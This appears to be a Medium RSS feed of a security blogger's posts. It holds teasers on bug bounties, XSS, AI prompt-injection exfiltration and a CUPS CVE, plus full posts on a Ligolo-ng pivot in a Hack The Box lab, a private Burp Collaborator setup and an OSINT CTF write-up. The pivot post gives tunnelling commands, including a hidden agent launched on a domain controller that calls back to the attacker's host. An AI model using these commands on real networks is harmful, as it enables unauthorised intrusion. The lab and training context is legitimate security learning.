<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by AstroKrypTech on Medium]]></title>
        <description><![CDATA[Stories by AstroKrypTech on Medium]]></description>
        <link>https://medium.com/@AstroKrypTech?source=rss-7a003fb2f531------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*blmVv5Wn3ZPWL7HMOxU_Jw.jpeg</url>
            <title>Stories by AstroKrypTech on Medium</title>
            <link>https://medium.com/@AstroKrypTech?source=rss-7a003fb2f531------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 20 Nov 2026 05:24:31 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@AstroKrypTech/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Bug Bounty Case Study: How a Public ID Exposed Private Account Emails]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://medium.com/@AstroKrypTech/bug-bounty-case-study-how-a-public-id-exposed-private-account-emails-c69cdcad3e54?source=rss-7a003fb2f531------2"><img src="https://cdn-images-1.medium.com/max/1536/1*hE8FdYFohB1CaTsPoQDSWA.png" width="1536"></a></p><p class="medium-feed-snippet">Getting a valid UUID</p><p class="medium-feed-link"><a href="https://medium.com/@AstroKrypTech/bug-bounty-case-study-how-a-public-id-exposed-private-account-emails-c69cdcad3e54?source=rss-7a003fb2f531------2">Continue reading on Medium »</a></p></div>]]></description>
            <link>https://medium.com/@AstroKrypTech/bug-bounty-case-study-how-a-public-id-exposed-private-account-emails-c69cdcad3e54?source=rss-7a003fb2f531------2</link>
            <guid isPermaLink="false">https://medium.com/p/c69cdcad3e54</guid>
            <category><![CDATA[bugbounty-writeup]]></category>
            <category><![CDATA[api]]></category>
            <category><![CDATA[cybercrime]]></category>
            <category><![CDATA[web-application-security]]></category>
            <dc:creator><![CDATA[AstroKrypTech]]></dc:creator>
            <pubDate>Fri, 30 Oct 2026 08:12:15 GMT</pubDate>
            <atom:updated>2026-10-30T08:12:15.493Z</atom:updated>
        </item>
        <item>
            <title><![CDATA[From CSPT to DOM XSS: Chaining an Open Redirect with Malicious JSON]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://medium.com/@AstroKrypTech/from-cspt-to-dom-xss-chaining-an-open-redirect-with-malicious-json-71a58c462c2a?source=rss-7a003fb2f531------2"><img src="https://cdn-images-1.medium.com/max/1239/1*g2hfHjw0TrLZLWUGkTInsQ.png" width="1239"></a></p><p class="medium-feed-snippet">Bonus: A webhook.site alternative for security testing</p><p class="medium-feed-link"><a href="https://medium.com/@AstroKrypTech/from-cspt-to-dom-xss-chaining-an-open-redirect-with-malicious-json-71a58c462c2a?source=rss-7a003fb2f531------2">Continue reading on Medium »</a></p></div>]]></description>
            <link>https://medium.com/@AstroKrypTech/from-cspt-to-dom-xss-chaining-an-open-redirect-with-malicious-json-71a58c462c2a?source=rss-7a003fb2f531------2</link>
            <guid isPermaLink="false">https://medium.com/p/71a58c462c2a</guid>
            <category><![CDATA[out-of-band-interaction]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[api]]></category>
            <category><![CDATA[path-traversal]]></category>
            <dc:creator><![CDATA[AstroKrypTech]]></dc:creator>
            <pubDate>Fri, 09 Oct 2026 18:07:57 GMT</pubDate>
            <atom:updated>2026-10-09T18:07:57.560Z</atom:updated>
        </item>
        <item>
            <title><![CDATA[When Your AI Assistant Becomes the Exfiltration Channel]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://medium.com/@AstroKrypTech/when-your-ai-assistant-becomes-the-exfiltration-channel-e7a8ec827a16?source=rss-7a003fb2f531------2"><img src="https://cdn-images-1.medium.com/max/1672/1*6k08wZA7VZc9mlbHoc2kZg.png" width="1672"></a></p><p class="medium-feed-snippet">A deep dive into indirect prompt injection &amp; markdown image exfiltration</p><p class="medium-feed-link"><a href="https://medium.com/@AstroKrypTech/when-your-ai-assistant-becomes-the-exfiltration-channel-e7a8ec827a16?source=rss-7a003fb2f531------2">Continue reading on Medium »</a></p></div>]]></description>
            <link>https://medium.com/@AstroKrypTech/when-your-ai-assistant-becomes-the-exfiltration-channel-e7a8ec827a16?source=rss-7a003fb2f531------2</link>
            <guid isPermaLink="false">https://medium.com/p/e7a8ec827a16</guid>
            <category><![CDATA[prompt-injection-attack]]></category>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[ai-agent]]></category>
            <category><![CDATA[data-exfiltration]]></category>
            <category><![CDATA[llm]]></category>
            <dc:creator><![CDATA[AstroKrypTech]]></dc:creator>
            <pubDate>Thu, 08 Oct 2026 15:17:32 GMT</pubDate>
            <atom:updated>2026-10-08T23:17:25.682Z</atom:updated>
        </item>
        <item>
            <title><![CDATA[CVE-2026–34990 in CUPS]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://medium.com/@AstroKrypTech/cve-2026-34990-in-cups-67255a9ff3e6?source=rss-7a003fb2f531------2"><img src="https://cdn-images-1.medium.com/max/1672/1*6aXOiJEcn8s7xzniMNlrAQ.png" width="1672"></a></p><p class="medium-feed-snippet">Most privilege escalation bugs are interesting because of the final impact: a normal user becomes root.</p><p class="medium-feed-link"><a href="https://medium.com/@AstroKrypTech/cve-2026-34990-in-cups-67255a9ff3e6?source=rss-7a003fb2f531------2">Continue reading on Medium »</a></p></div>]]></description>
            <link>https://medium.com/@AstroKrypTech/cve-2026-34990-in-cups-67255a9ff3e6?source=rss-7a003fb2f531------2</link>
            <guid isPermaLink="false">https://medium.com/p/67255a9ff3e6</guid>
            <category><![CDATA[cve-2026-34990]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[cup]]></category>
            <category><![CDATA[loopback]]></category>
            <dc:creator><![CDATA[AstroKrypTech]]></dc:creator>
            <pubDate>Sat, 03 Oct 2026 16:35:54 GMT</pubDate>
            <atom:updated>2026-10-03T16:35:54.306Z</atom:updated>
        </item>
        <item>
            <title><![CDATA[How to setup a two-hop Ligolo-ng pivot]]></title>
            <link>https://medium.com/@AstroKrypTech/how-to-setup-a-two-hop-ligolo-ng-pivot-239af03e8d0d?source=rss-7a003fb2f531------2</link>
            <guid isPermaLink="false">https://medium.com/p/239af03e8d0d</guid>
            <category><![CDATA[pivoting]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[tunnelling]]></category>
            <dc:creator><![CDATA[AstroKrypTech]]></dc:creator>
            <pubDate>Fri, 25 Sep 2026 13:44:45 GMT</pubDate>
            <atom:updated>2026-09-25T13:44:45.471Z</atom:updated>
            <content:encoded><![CDATA[<p>as seen in MSSQL in Fullhouse Mini Pro Labs</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hFOy7tkpEn3IjqYW3EbQlw.png" /><figcaption>how to access the loopback interface of a DC via a Linux host with ligolo-ng</figcaption></figure><p>Assumptions</p><p>- Kali: 10.10.14.117<br>- Casino: 10.0.52.31 <br>- DC: 10.0.52.2<br>- Casino is rooted and j.newell can access the DC.<br>- MSSQL listens only on the DC’s 127.0.0.1:1433.</p><blockquote>1. Start the proxy on Kali<br>sudo proxy -laddr 0.0.0.0:9001 -selfcert</blockquote><blockquote>2. Start Agent 1 on Casino [Linux host]<br>chmod +x agent<br>./agent -connect 10.10.14.117:9001 -ignore-cert -retry</blockquote><p>Select the Casino session and configure routing:</p><blockquote>session<br>autoroute</blockquote><p>Select only the route containing 10.0.52.31/24.</p><p>Verify from another Kali terminal:</p><p>nmap -Pn -p 5985 10.0.52.2</p><blockquote>3. Relay the DC agent through Casino</blockquote><blockquote>With the Casino session selected:<br>listener_add — addr 0.0.0.0:11601 — to 127.0.0.1:9001 — tcp<br>listener_list</blockquote><p>This makes Casino listen on 10.0.52.31:11601 and relay new Ligolo connections to the proxy on port 9001.</p><blockquote>4. Start Agent 2 on the DC</blockquote><blockquote>Upload the matching Windows agent to:<br>C:\Users\j.newell\Desktop\agent.exe</blockquote><p>Run it from the DC PowerShell or WinRM session:</p><p>```powershell<br>Start-Process `<br> -FilePath “C:\Users\j.newell\Desktop\agent.exe” `<br> -ArgumentList “-connect 10.0.52.31:11601 -ignore-cert -retry” `<br> -WindowStyle Hidden<br>```</p><p>Connection path:<br>DC agent -&gt; 10.0.52.31:11601 -&gt; Kali proxy 127.0.0.1:9001</p><p>A second agent resembling `FULLHOUSE\j.newell@DC` should appear in Ligolo.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mEZxbLwc6CoK79lu3udivg.png" /><figcaption>agent on DC joined the proxy on our kali host</figcaption></figure><blockquote>5. Route the DC’s loopback interface<br>type session and select the 2 for the DC</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/842/1*mfNvj5jL-Ir_OVC7hRItwQ.png" /></figure><p>Create a dedicated interface and add Ligolo’s magic localhost route:<br>interface_create — name ligolo-dc<br>interface_add_route — name ligolo-dc — route 240.0.0.1/32<br>tunnel_start — tun ligolo-dc</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GvahdK6mUi8wzmuKrcrMKQ.png" /><figcaption>2 tunnels on the kali proxy</figcaption></figure><p>Ligolo maps `240.0.0.1` to `127.0.0.1` on the selected DC agent.</p><blockquote>6. Verify and connect to MSSQL</blockquote><blockquote>nmap -Pn -sV -p 1433 240.0.0.1<br>impacket-mssqlclient ‘fullhouse.htb/j.newell:PASSWORD@240.0.0.1’ -windows-auth</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*05woXRn1oVpDgJy3SERA7g.png" /><figcaption>connected as administrator to the MSSQL service on DC</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=239af03e8d0d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Setting up a private Burp Collaborator Server]]></title>
            <link>https://medium.com/@AstroKrypTech/setting-up-a-private-burp-collaborator-server-71c55ff85815?source=rss-7a003fb2f531------2</link>
            <guid isPermaLink="false">https://medium.com/p/71c55ff85815</guid>
            <category><![CDATA[web-application-security]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[AstroKrypTech]]></dc:creator>
            <pubDate>Fri, 12 Jul 2024 16:53:19 GMT</pubDate>
            <atom:updated>2026-09-13T11:57:53.625Z</atom:updated>
            <content:encoded><![CDATA[<p>Digital Ocean + GoDaddy setup</p><p>Considering the number of hours I spent researching the correct DNS settings, I have written a short guide to make life easier…</p><p>My research led me to this article I found helpful:</p><p><a href="https://blog.fabiopires.pt/running-your-instance-of-burp-collaborator-server/">Running Your Instance of Burp Collaborator Server - Fabio Pires</a></p><p>I created a Digital Ocean Droplet (very basic one — around 6$ per month).</p><p>By default, all ports are open, but you can easily assign a Firewall on Digital Ocean with the ports you need open to restrict access to your server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/964/0*_4gMWHtALey-39XB" /><figcaption>You can find it in networking tab for your droplet</figcaption></figure><p>Commands to run inside your droplet. SSH into your droplet.</p><pre>apt-get update<br>apt-get install default-jre<br>mkdir -p /usr/local/collaborator/</pre><p>Download the burp installation file</p><pre>curl &#39;https://portswigger-cdn.net/burp/releases/download?product=pro&amp;version=2024.5.5&amp;type=Jar&#39;   -H &#39;accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7&#39;   -H &#39;accept-language: en-US,en;q=0.9&#39;   -H &#39;priority: u=0, i&#39;   -H &#39;referer: https://portswigger.net/&#39;   -H &#39;sec-ch-ua: &quot;Not/A)Brand&quot;;v=&quot;8&quot;, &quot;Chromium&quot;;v=&quot;126&quot;, &quot;Google Chrome&quot;;v=&quot;126&quot;&#39;   -H &#39;sec-ch-ua-mobile: ?0&#39;   -H &#39;sec-ch-ua-platform: &quot;Windows&quot;&#39;   -H &#39;sec-fetch-dest: document&#39;   -H &#39;sec-fetch-mode: navigate&#39;   -H &#39;sec-fetch-site: cross-site&#39;   -H &#39;sec-fetch-user: ?1&#39;   -H &#39;upgrade-insecure-requests: 1&#39;   -H &#39;user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36&#39; -o burp.jar</pre><p>Create a configuration file (nano /usr/local/collaborator/collaborator.config) according to the below.</p><pre>{<br>  &quot;serverDomain&quot; : &quot;SUBDOMAIN.DOMAIN.com&quot;,<br>  &quot;workerThreads&quot; : 10,<br>  &quot;eventCapture&quot;: {<br>      &quot;localAddress&quot; : [ &quot;PUBLIC IP OF DROPLET&quot; ],<br>      &quot;publicAddress&quot; : &quot;PUBLIC IP OF DROPLET&quot;,<br>      &quot;http&quot;: {<br>         &quot;ports&quot; : 80<br>       },<br>      &quot;https&quot;: {<br>          &quot;ports&quot; : 443<br>      },<br>      &quot;smtp&quot;: {<br>          &quot;ports&quot; : [25, 587]<br>      },<br>      &quot;smtps&quot;: {<br>          &quot;ports&quot; : 465<br>      },<br>      &quot;ssl&quot;: {<br>          &quot;certificateFiles&quot; : [<br>              &quot;/usr/local/collaborator/keys/privkey.pem&quot;,<br>              &quot;/usr/local/collaborator/keys/cert.pem&quot;,<br>              &quot;/usr/local/collaborator/keys/fullchain.pem&quot; ]<br>      }<br>  },<br>  &quot;polling&quot; : {<br>      &quot;localAddress&quot; :  &quot;PUBLIC IP OF DROPLET&quot;,<br>      &quot;publicAddress&quot; :  &quot;PUBLIC IP OF DROPLET&quot;,<br>      &quot;http&quot;: {<br>          &quot;port&quot; : 39090<br>      },<br>      &quot;https&quot;: {<br>          &quot;port&quot; : 39443<br>      },<br>      &quot;ssl&quot;: {<br>          &quot;certificateFiles&quot; : [<br>              &quot;/usr/local/collaborator/keys/privkey.pem&quot;,<br>              &quot;/usr/local/collaborator/keys/cert.pem&quot;,<br>              &quot;/usr/local/collaborator/keys/fullchain.pem&quot; ]<br><br>      }<br>  },<br>  &quot;metrics&quot;: {<br>      &quot;path&quot; : &quot;RAMDOM 16 CHAR STRING&quot;,<br>      &quot;addressWhitelist&quot; : [&quot;0.0.0.0/1&quot;] <br>  },<br>  &quot;dns&quot;: {<br>      &quot;interfaces&quot; : [{<br>          &quot;name&quot;:&quot;ns1.SUBDOMAIN.DOMAIN.com&quot;,<br>          &quot;localAddress&quot;:&quot;PUBLIC IP OF DROPLET&quot;,<br>          &quot;publicAddress&quot;:&quot;PUBLIC IP OF DROPLET&quot;<br>      }],<br>      &quot;ports&quot; : 53<br>   },<br>   &quot;logLevel&quot; : &quot;INFO&quot;<br>}<br><br></pre><p>The <em>addressWhitelist </em>will restrict access to metrics to your IP if you so desire.</p><p>Create a configure_certs.sh file:</p><pre>nano /usr/local/collaborator/configure_certs.sh</pre><pre>CERTBOT_DOMAIN=$1<br>if [ -z $1 ];<br>then<br>    echo &quot;Missing mandatory argument. &quot;<br>    echo &quot; - Usage: $0  &lt;domain&gt; &quot;<br>    exit 1<br>fi<br>CERT_PATH=/etc/letsencrypt/live/$CERTBOT_DOMAIN/<br>mkdir -p /usr/local/collaborator/keys/<br><br>if [[ -f $CERT_PATH/privkey.pem &amp;&amp; -f $CERT_PATH/fullchain.pem &amp;&amp; -f $CERT_PATH/cert.pem ]]; then<br>        cp $CERT_PATH/privkey.pem /usr/local/collaborator/keys/<br>        cp $CERT_PATH/fullchain.pem /usr/local/collaborator/keys/<br>        cp $CERT_PATH/cert.pem /usr/local/collaborator/keys/<br>        chown -R collaborator /usr/local/collaborator/keys<br>        echo &quot;Certificates installed successfully&quot;<br>else<br>        echo &quot;Unable to find certificates in $CERT_PATH&quot;<br>Cfi</pre><p>Create the SSL certificates, run:</p><pre>./certbot-auto certonly -d SUBDOMAIN.domain.com -d *.SUBDOMAIN.subdomain.com  --server https://acme-v02.api.letsencrypt.org/directory --manual --agree-tos --no-eff-email --manual-public-ip-logging-ok --preferred-challenges dns-01</pre><p>Insert your e-mail during certificate generation.</p><p>You will get a message on how to deploy a DNS TXT record. Press Enter to get a second message.</p><p>Go to GoDaddy and add 2 DNS TXT records with the _acme-challenges.SUBDOMAIN and the message.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9UYYUOK-3S34G4dwUHYjlw.png" /><figcaption>txt records</figcaption></figure><p>Wait 10–15minutes.</p><p>Constantly check with dig to see if your text records are found.</p><p>Then press Enter for validation and the certificates are generated.</p><p>Great. You now have certificates. To copy them to your working directory:</p><pre>chmod +x /usr/local/collaborator/configure_certs.sh &amp;&amp; /usr/local/collaborator/configure_certs.sh SUBDOMAIN.domain.com</pre><p>Check if your collaborater server runs correctly:</p><pre>bash -c  &quot;java -Xms10m -Xmx200m -XX:GCTimeRatio=19 -jar /usr/local/collaborator/burpsuite_pro_1.7.33.jar --collaborator-server --collaborator-config=/usr/local/collaborator/collaborator.config&quot;<br>2018-04-08 19:46:36.082 : Using configuration file /usr/local/collaborator/collaborator.config<br>2018-04-08 19:46:37.473 : Listening for DNS on 54.38.**.**:3353<br>2018-04-08 19:46:37.486 : Listening for HTTP on 54.38.**.**:39090<br>2018-04-08 19:46:37.486 : Listening for SMTP on 54.38.**.**:3325<br>2018-04-08 19:46:37.487 : Listening for HTTP on 54.38.**.**:3380<br>2018-04-08 19:46:37.486 : Listening for SMTP on 54.38.**.**:33587<br>2018-04-08 19:46:37.600 : Listening for SMTPS on 54.38.**.**:33465<br>2018-04-08 19:46:37.600 : Listening for HTTPS on 54.38.**.**:39443<br>2018-04-08 19:46:37.602 : Listening for HTTPS on 54.38.**.**:33443This guide will show you what DNS records to put on GoDaddy. I have tried Namecheap but with no success.</pre><p>Ctrl + C.</p><p>Create the DNS records, here is what was used on GoDaddy:</p><pre>+-----------+---------------------------+----------------------------+<br>|   type    |       name                |     data                   |<br>+-----------+--------------------+-----------------------------------+<br>| A         | subdomain                 | DROPLET IP                 |<br>| A         | ns1.subdomain             | DROPLET IP                 |<br>| NS        | subdomain                 | ns1.subdomain.domain.com   |<br>| TXT       | _acme-challenge.subdomain | XXXXXXXXXXXXXXXXXXXX       |<br>| TXT       | _acme-challenge.subdomain | XXXXXXXXXXXXXXXXXXXX       |<br>+-----------+--------------------+-----------------------------------+</pre><p>Once done, you can re-run the Collaborator but as a service for persistence.</p><p>Create a file called collaborator.service</p><pre>sudo nano /etc/systemd/system/collaborator.service</pre><p>Copy the configuration below:</p><pre>[Unit]<br>Description=Burp Collaborator Server Daemon<br>After=network.target</pre><pre>[Service]<br>Type=simple<br>User=collaborator<br>UMask=007<br>ExecStart=/usr/bin/java -Xms10m -Xmx200m -XX:GCTimeRatio=19 -jar /usr/local/collaborator/burpsuite_pro_1.7.33.jar --collaborator-server --collaborator-config=/usr/local/collaborator/collaborator.config<br>Restart=on-failure</pre><pre># Configures the time to wait before service is stopped forcefully.<br>TimeoutStopSec=300</pre><pre>[Install]<br>WantedBy=multi-user.target</pre><p>Enable the service:</p><pre>systemctl enable collaborator</pre><p>Finally, start the service:</p><pre>systemctl start collaborator</pre><p>Also, note if you mess up the config file, do stop, disable, and re-enable the service for the new config file to take effect.</p><p>Once the DNS records are UP, and the service is running:</p><pre>systemctl status collaborator</pre><p>Check with the DIG requests that the nameserver resolution is working with these:</p><pre>dig subdomain.domain.com NS @8.8.8.8<br>dig ns1.subdomain.domain.com A @8.8.8.8 +trace</pre><p>If you don’t see your DROPLET IP responding to the last dig, then the DNS collaborator service might be incorrectly setup, check your collaborator.config and disable/enable/start the collaborator service.</p><p>Once it responds, go to Burp &gt; Settings &gt; User or Burp &gt; Settings &gt; Project and modify the Collaborator section to Use a private collaborator server, entering your subdomain.domain.com you have chosen.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*VPTxJ1L78LuV33aK" /><figcaption>burp collaborator server settings</figcaption></figure><p>Run the health check and say Hurray!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=71c55ff85815" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Nahamcon 2024 Pre-CTF Writeup]]></title>
            <link>https://medium.com/@AstroKrypTech/nahamcon-2024-pre-ctf-writeup-a9778826f486?source=rss-7a003fb2f531------2</link>
            <guid isPermaLink="false">https://medium.com/p/a9778826f486</guid>
            <category><![CDATA[nahamcon]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[osint]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[nahamcon-ctf]]></category>
            <dc:creator><![CDATA[AstroKrypTech]]></dc:creator>
            <pubDate>Sun, 19 May 2024 19:24:15 GMT</pubDate>
            <atom:updated>2024-05-20T07:57:29.509Z</atom:updated>
            <content:encoded><![CDATA[<h3>Pre-CTF Scavenger Hunt (OSINT + Puzzles)</h3><h3>May 17th, 12:00 PM PST — May 19th, 12:00 PM PST</h3><p>Hi everyone, I have compiled a quick walkthrough and solution of the OSINT + Puzzles Challenges of Nahamcon CTF. <br>A big shoutout to my teammate 0ddshell whose contribution was invaluable. ❤ <br>We made the Top 10 at Position 8! <br>This CTF made me realize how often we overlook the simplest things, right in front of our eyes! Enjoy the write-up.</p><p><strong>The Password is Password — 5 points</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/273/1*gaWyC9crflpCD9RJfxAsag.png" /></figure><p>This looks like a Vigenere Cypher with “password” as KEY;<br>therefore using <a href="https://www.cs.du.edu/~snarayan/crypt/vigenere.html">https://www.cs.du.edu/~snarayan/crypt/vigenere.html</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/594/1*CaMxBzacrDKqRbiR9AifjA.png" /></figure><p><strong>Bears, beets, battlestar galactica — 10 points</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/560/1*YPPj-yCSeWi1Fj1B3Bhokw.png" /></figure><p>The Bears, beets, battlestar galactica is an episode from the Office.<br>The hint is the v parameter of a youtube link.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Inv-xrw0lVr0C6BdXBVvlQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/421/1*_eLUwxrsf_MSrKjkioqfHQ.png" /><figcaption>the flag is in the youtube comments</figcaption></figure><p><strong>Beep Boop Beep Part 1&amp;2</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/782/1*u9s8HxWlIW9d4R0kfl9d1A.png" /></figure><p>The quote is from the movie, I Robot, so go to /robots.txt to find the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/296/1*_-XflD-3PDYXmNKrgl9JNA.png" /></figure><p>When browsing to /robots.txt, two paths are disallowed:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/408/1*BGZJGcmZE3gnlmy_k0x2Jg.png" /></figure><p>When navigating to /backend, we see that we are in the right place because of the hint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/388/1*hWc9xAtQuGkP_GKyuy70Kg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/752/1*8VcqFUmAeBH1Mv7wnkQDYA.png" /><figcaption>flag is in the source code of /backend</figcaption></figure><p><strong>Do you speak fraudster? 10 points</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/373/1*ziHn2MMrYJiqKAaK8WsAog.png" /></figure><p>The image shows flares and as flare.io is the sponsor, a quick google search of “do you speak fraduster site:flare.io” returns the below article</p><p>h<a href="https://flare.io/learn/resources/blog/do-you-speak-fraudster/">ttps://flare.io/learn/resources/blog/do-you-speak-fraudster/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NewEEFcj35arIQVRtd2h2g.png" /><figcaption>flag in the source code</figcaption></figure><p><strong>INDEX FUN(d)</strong></p><p>Down the rabbit hole we go with this title, but it’s as simple at looking at the source code of the https://ctf.nahamcon.com/</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/304/1*YLwyIpG0uNPtyMiGXGUjhg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/863/1*zDIqMlEBvjsW6fkVvohwwQ.png" /><figcaption>flag in the source at / of ctf.nahamcon.com</figcaption></figure><p><strong>MalDev -10 points</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/1*RMwXPQcGRqaTg_KiqXRa8w.png" /></figure><p>Easy one, is just browsing the website looking for the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/841/1*qxvW7hM3Bs3krHYZyOQC9Q.png" /><figcaption>flag at /syllabus</figcaption></figure><p>Intigriti — 10 points</p><p>Log in to your Intigriti Account, click the link. Then go to Program Preview, and see the new program appear in your researcher dashboard.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jqTB1e5JAoC9W3EYXaIn4g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aQgHUx0Zo8saxEQfsPBZCQ.png" /><figcaption>signing up for the special program</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*7PIcQTMDFfPnaoJitvcz0A.png" /><figcaption>flag in the Description</figcaption></figure><p><strong>Altered Security — 10 points</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pCBfFRZ8qNDWzAshFJPHuA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*itWuTZhjYim2u-X3KhSjfA.png" /></figure><p><strong>Discord — 10 points</strong></p><p>Very obvious annoucement!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/373/1*Xz-cCpZDNNTJaydsvJGWGQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/438/1*5VT1olaEpvng1Wi46109yA.png" /><figcaption>Discord announcements</figcaption></figure><p><strong>Patchstack Alliance — 10 points</strong></p><p>The pinned message is found in the Patchstack Alliance Discord Server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/397/1*GXUTRatr29WEoqFJKWpikw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*nE1dUZpudINOZqoa3ONTZg.png" /><figcaption>academy channel</figcaption></figure><p><strong>Pentest Tools — 10 points</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/390/1*Zq0tfg3fCQpYon94IphYnw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*4825qy_dOQqx2sUwOw2r2A.png" /></figure><p><strong>Rules — 10 points</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/313/1*CAxJOrYkl8HP3kZNpjpCTw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/686/1*XDCUfz3UImwS7rR8XJmubA.png" /></figure><p>Go to <a href="https://ctf.nahamcon.com/rules">https://ctf.nahamcon.com/rules</a> and look at the source code.</p><p><strong>Snyk — 10 points</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/529/1*GACyhxwQypzhP_4kbSBNaQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gSbIcj1Lnjxtwk3sf4mhgw.png" /></figure><p><strong>Automated Generated Wordlists — 10 points</strong></p><p>Go to nahamcon.com</p><p>Look at the sponsors</p><p>Assetnote is one, therefore looking at assetnote wordlists in GitHub:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qk--576e2dkp3L1jFiCEwQ.png" /><figcaption>commit of index.html</figcaption></figure><p><strong>Movie Critic — 10 points</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/423/1*fHBa7aFubKtby76uXd7dhQ.png" /></figure><p>“Amongst us” is the clue referring that he is among the Users registered, look for the movie critic handle, thisisnotmyrealhandle2024 in the Users of the ctf.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1022/1*ZYCLev3HHe5mqkwcCaBBjQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*RSIT_OPIFdaaj8G5KjqPQQ.png" /></figure><p>Clicking the link redirects to: <a href="https://thisisnotmyrealhandle.site/">https://thisisnotmyrealhandle.site/</a></p><p><strong>Self Signed Loser — 10 points</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mrIcdLOGjii-fifgNejadg.png" /></figure><p>Looking at subdomains of the site found in the previous challenge, we spot secure.thisisnotmyrealhandle.site.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/596/1*VfhJxdHVrLk4G584rDPy1Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*cSNCgYkhUEuNA5XwsK0KOQ.png" /><figcaption>Looking at the Certificate, we find the handle.</figcaption></figure><p><strong>Time Traveller — 10 points</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/568/1*CsWdOyCj3w4GGkxv7GJMWg.png" /></figure><p>Anything about time is always the Wayback Machine.</p><figure><img alt="" 